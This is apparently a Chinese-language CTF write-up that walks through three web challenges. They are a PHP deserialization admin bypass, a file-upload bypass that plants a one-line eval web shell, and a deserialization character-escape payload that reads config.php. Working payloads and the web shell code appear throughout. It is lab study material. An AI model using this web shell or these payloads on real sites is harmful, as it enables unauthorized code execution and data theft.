actf_2021_baby_serialize–代码审计|php反序列化

开启靶机,先看一遍源码,发现unserialize()函数
图一
这个函数就是php的反序列化函数(看到存在这个函数一般就判定考反序列化了),顺便一提serialize()是序列化函数,这两个函数一般配套使用。
首先代码审计,发现存在一个类User,那么这是一道存在类情况的反序列化。
里面含有魔术方法,若之前没做过或学过,具体看https://fzsecurity-github.github.io/2023/10/21/fanxuliePHP/
继续,类里面含有两个变量以及三个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class User{
private $Username = "0xDktb";
private $Password = "0xDktb111";

function __construct(){
$Username = "0xDktb";
$Password = "0xDktb123";
}


function isAdmin(){
if($this->Username == "admin"){
return true;
}
return false;
}

function __destruct(){
echo "Hello ".$this->Username;
}
}

继续往下,创建一个类对象用来接收get接收的内容,随后对它进行反序列化。

1
2
3
4
5
$user = new User();

if($_GET['user']){
$user = unserialize($_GET['user']);
}

最后如果类内方法判断为真,那么输出包含进来的flag.php文件,即flag。

1
2
3
if($user->isAdmin()){
echo $flag;
}

那么解题思路也就出来了:就是自己写一个php程序,创建一个类(与题目相同),然后把Username赋值为admin,随后序列化输出即可(这里有一个注意点,等下说)。
打开php在线运行工具,进行编程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User{
private $Username = "admin";
private $Password = "0xDktb111";

function __construct(){
$Username = "0xDktb";
$Password = "0xDktb123";
}


function isAdmin(){
if($this->Username == "admin"){
return true;
}
return false;
}

function __destruct(){
echo "Hello ".$this->Username;
}
}

$user = new User();
echo urlencode(serialize($user));
//两种输出形式:var_dump(urlencode(serialize($user)))
?>

这里我序列化后为什么要进行url编码?
因为class类内变量的权限为private,序列化后默认有%00,但是不进行url编码时,在线工具运行的结果是这样的
图二
你也可以选择不进行url编码,但是要将没显示出来的字符改为%00
图三
完成后,就可以把这个payload输入网址栏,成功获取flag
图四

aurora_2021_easyupload

较简单,直接上传一个含有一句话木马的php文件,通过MINE属性值的绕过检测,随后蚁剑连接即可。

1
2
3
<?php 
@eval($_POST['shell']);
?>

这里讲一下我做的时候的误区:
(1)、我上来先搞了个图片马并且成功上传了,但是怎么都连接不上,后来就查阅资料了解到图片马是要配合解析漏洞或文件包含漏洞才可使用的。
(2)、走出上一个误区后,我开始直接上传php文件,发现存在过滤,那就开始尝试绕过过滤。我一开始是先把MIME属性改为image/png的了,然后我又在文件名上操作,导致上传失败。后来才没改文件名,直接是.php的格式,这才上传成功。
学(复习)到:
1、测试时,先改MIME属性值,单独测试后再考虑大小写等绕过方式
2、图片马:
除非网站有解析错误,不然网站不会解析这个图片马;
图片马要配合文件包含才可getshell

0ctf_2016_unserialize–|目录扫描|代码审计|php反序列化

目录扫描

打开靶机,是一个登陆界面

查看源码,只知道账号密码是以post方式提交的,除此之外一无所获。
尝试着抓包,看看有没有隐藏一些秘密,但是看来看去看不出端倪。
然后尝试目录扫描,挨个点开,发现一个疑似源码的压缩包,下载到本地,先尝试着这几个文件都访问一遍。

登陆界面

注册界面

更改信息界面提示要我们登录先,那我们先注册一个用户。


更新界面

代码审计

到这里,基本这几个操作,注册、登录、更新我们都知道了,接下来开始愉快的代码审计了。
首先我们登陆的时候,会调用index.php验证,而在index.php有这样一句代码:require_once(‘class.php’);这个函数的意义:在php中,require_once语句用于引用或包含外部的一个php文件,语法“require_once(filename)”或“require_once ‘filename’”;如果该语句指定的文件已经被包含过,则不会再次包含。我觉得在执行index.php时会先执行class.php,但是好像不是这样的(php菜鸟一枚)。
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;//session凭证直接免登录
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}//登陆成功
else {
die('Invalid user name or password');
}
}
?>

这个应该就是登录页面,输入账号和密码,如果正确,那就跳转到profile.php页面,就是显示个人信息的页面。
register.php
注册页面,就是简单的注册,没有可疑点。
update.php
更改信息界面,需要满足一定正则过滤规则才可以更改。
profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
}
?>

看到unserialize,就要注意了。可以知道,profile.php内的操作数据,来自于update.php,那么,应该有这样的思路:在update.php传入序列化数据(payload),是否可以实现获取flag
继续看,发现

1
$photo = base64_encode(file_get_contents($profile['photo']));

因为flag一般在一个文件中,要想知道flag,一般需要读取(php伪协议或php函数),这里有文件读取功能的函数file_get_contents()引起了我的注意,我就想,会不会是这个地方能够读取到flag呢?可能也就是说,我们要修改 profile 中的 photo 来读取flag。还有几个文件没有看,我们继续看。
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

require(‘config.php’)将会加载名为config.php的文件的内容,该文件通常包含了一些配置信息。
class一般都是重要函数函数调用和数据库查询需要用到的文件。class中包含了 config.php 去看看config.php。
config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

看到这里有个flag 应该是要class调用 config.php进行读取了。
经过前面,我们的的思路就是,注册账号然后登录,然后update 更新自己的信息,我们通过源码看到profile通过update.php经过POST传入phone,email,nickname,photo四个参数,而其中的photo参数具有文件读取的函数功能,所以我们直接让它读取config.php文件即可获得flag。
下列知识点才是干货

如何构造payload

–>字符逃逸
但由于在update.php中,变量$profile[‘photo’]是文件上传控制的但是被经过md5加密了($photo默认值),没办法直接传,结合反序列化函数和前面看到的filter的那些正则匹配替换函数,我们可以试着尝试反序列化的字符逃逸。
1、在update.php中,对输入的nickname也有正则限制。

1
2
3
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

这里先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思,preg_match只能处理字符串,当传入的subject是数组时会返回false,所以我们传入数组可以绕过。
2、还可以发现,在class中,对update的信息存在过滤

1
2
3
4
5
6
7
8
9
10
11
12
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}

这里可以看到把select,insert,update等字符串替换成hacker,其他都是6个字符串,和hacker一样,并不能让字符串增多,
但这里有一个where是五个字符串,替换成hacker后相当于多了一个字符,如果我们多写几个where,就能多出多个字符串,多出来的字符串可以构造语句形成字符逃逸。
知道了where是关键点,那我要应该怎么构造payload呢?
我们可操作的字段应该是nickname,即在nickname后插入photo的关键内容且保证不被丢弃。
首先思考一个payload:
加入我nickname[]的值为public $nickname = array(“”;}s:5:”photo”;s:10:”config.php”;}”);
那么post传入update时,它自动序列化的payload就是

1
O:1:"b":4:{s:5:"phone";s:3:"114";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}"}

你应该会疑惑
1、为什么nickname的string长度为34。
答:首先34:后的””已经是闭合的了,长度为0,但是序列化长度不可为0(正常情况下可以,但是当序列化非空数组或对象时,序列化的字符串长度将大于0。)。那么所以name只能认为”;}s:5:”photo”;s:10:”config.php”;}当作了name的值,这个序列化字符串才能成功反序列化,所以长度为34。
2、这里的photo是nickname的一部分,不可以帮助我们解析处flag,所以,我们就要使用一些方法,把这个$photo从nickname剥离出来。
所以要用到字符逃逸绕过。
“;}s:5:”photo”;s:10:”config.php”;}
我们要让序列化后的内容可以接受以上34个字符。
我们可以想到,由于在class.php内,把select,insert,update、where等字符串替换成hacker。
那么我们可以借助34个where扩充34个位置。
1、如果对方网站没有序列化:
那么构造最终payload的代码如下(删掉变量photo)

1
2
3
4
5
6
7
8
9
10
<?php
class b{
public $phone = "18148881156";
public $email = "123@163.com";
public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}");//34个where,把photo包含进nickname。
}
$a=new b();
$payload=serialize($a);
echo $payload;
?>

尴尬的是,这串代码运不了,那我们就手动构造payload。
o:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样,传输到对方网站后端时,在where被正则匹配换成hacker之后,正好满足长度(成功把数组闭合掉),然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
到达对方网站后端时,由于对面网站存在对where的过滤,那么每存在一个where,就会逃逸一个字符,借对方的过滤代码帮我们还原了,哈哈。而且,之前提到的那个$photo默认值,此时也被丢弃啦!
2、这里由于update.php已经存在了序列化,那么我们实际的payload为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样抓包修改即可,不赘述,最后查看源码,再base64解码以下即可。
这道题我做了一天,感觉挺恶心的。

后记
一些以前遗漏的知识点(php反序列化绕过姿势-进阶):
特点1:
php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以”;}结束的,那如果把”;}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
特点2:
长度不对应会报错
漏洞产生:
反序列化之所以存在字符逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。
漏洞常见条件:
序列化后过滤再去反序列化
from:
感觉这两篇学习绕过姿势的文章都挺好,强烈安利
https://zhuanlan.zhihu.com/p/628402113
https://blog.csdn.net/m0_64815693/article/details/127982134
特别鸣谢
https://zhuanlan.zhihu.com/p/628402113
https://www.jb51.net/article/180496.htm